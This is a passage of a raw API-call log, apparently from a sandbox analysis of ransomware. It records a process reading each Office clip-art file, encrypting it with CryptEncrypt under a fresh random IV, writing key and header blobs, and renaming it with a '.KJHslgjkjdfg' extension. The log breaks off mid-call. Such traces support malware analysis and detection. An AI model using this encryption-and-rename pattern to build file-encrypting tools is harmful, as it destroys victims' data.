[0231.261] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.261] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.261] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8118, lpOverlapped=0x0) returned 1 [0231.262] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8120, dwBufLen=0x8120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8120) returned 1 [0231.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.262] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8120, lpOverlapped=0x0) returned 1 [0231.263] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.263] SetEndOfFile (hFile=0x130) returned 1 [0231.266] GetProcessHeap () returned 0x2ef0000 [0231.266] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.266] GetProcessHeap () returned 0x2ef0000 [0231.266] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.kjhslgjkjdfg")) returned 1 [0231.268] CloseHandle (hObject=0x130) returned 1 [0231.268] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0231.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.270] GetProcessHeap () returned 0x2ef0000 [0231.270] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.270] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.271] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0231.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.273] GetProcessHeap () returned 0x2ef0000 [0231.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.274] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.274] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.274] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.274] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.275] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.275] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.275] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.275] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5f2b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5f2b, lpOverlapped=0x0) returned 1 [0231.276] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f30, dwBufLen=0x5f30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f30) returned 1 [0231.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.277] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5f30, lpOverlapped=0x0) returned 1 [0231.277] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.277] SetEndOfFile (hFile=0x130) returned 1 [0231.281] GetProcessHeap () returned 0x2ef0000 [0231.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.281] GetProcessHeap () returned 0x2ef0000 [0231.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.kjhslgjkjdfg")) returned 1 [0231.283] CloseHandle (hObject=0x130) returned 1 [0231.284] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0231.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.285] GetProcessHeap () returned 0x2ef0000 [0231.285] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.285] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.288] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.288] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.288] GetProcessHeap () returned 0x2ef0000 [0231.288] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.288] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.288] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.288] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.288] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.288] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.288] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.289] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7f68, lpOverlapped=0x0) returned 1 [0231.290] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f70) returned 1 [0231.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.290] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7f70, lpOverlapped=0x0) returned 1 [0231.290] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.291] SetEndOfFile (hFile=0x130) returned 1 [0231.293] GetProcessHeap () returned 0x2ef0000 [0231.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.293] GetProcessHeap () returned 0x2ef0000 [0231.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.kjhslgjkjdfg")) returned 1 [0231.295] CloseHandle (hObject=0x130) returned 1 [0231.295] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0231.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.296] GetProcessHeap () returned 0x2ef0000 [0231.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.296] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.296] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0231.306] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.306] GetProcessHeap () returned 0x2ef0000 [0231.306] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.307] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.307] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.307] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.307] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.307] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.307] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.307] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.307] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.307] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.308] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x50a5, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x50a5, lpOverlapped=0x0) returned 1 [0231.309] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x50b0, dwBufLen=0x50b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x50b0) returned 1 [0231.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.309] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x50b0, lpOverlapped=0x0) returned 1 [0231.309] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.310] SetEndOfFile (hFile=0x130) returned 1 [0231.313] GetProcessHeap () returned 0x2ef0000 [0231.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.313] GetProcessHeap () returned 0x2ef0000 [0231.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.kjhslgjkjdfg")) returned 1 [0231.315] CloseHandle (hObject=0x130) returned 1 [0231.315] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0231.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.316] GetProcessHeap () returned 0x2ef0000 [0231.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.317] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.317] GetProcessHeap () returned 0x2ef0000 [0231.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.317] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.317] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.320] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.320] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.320] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.320] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.322] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.322] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, 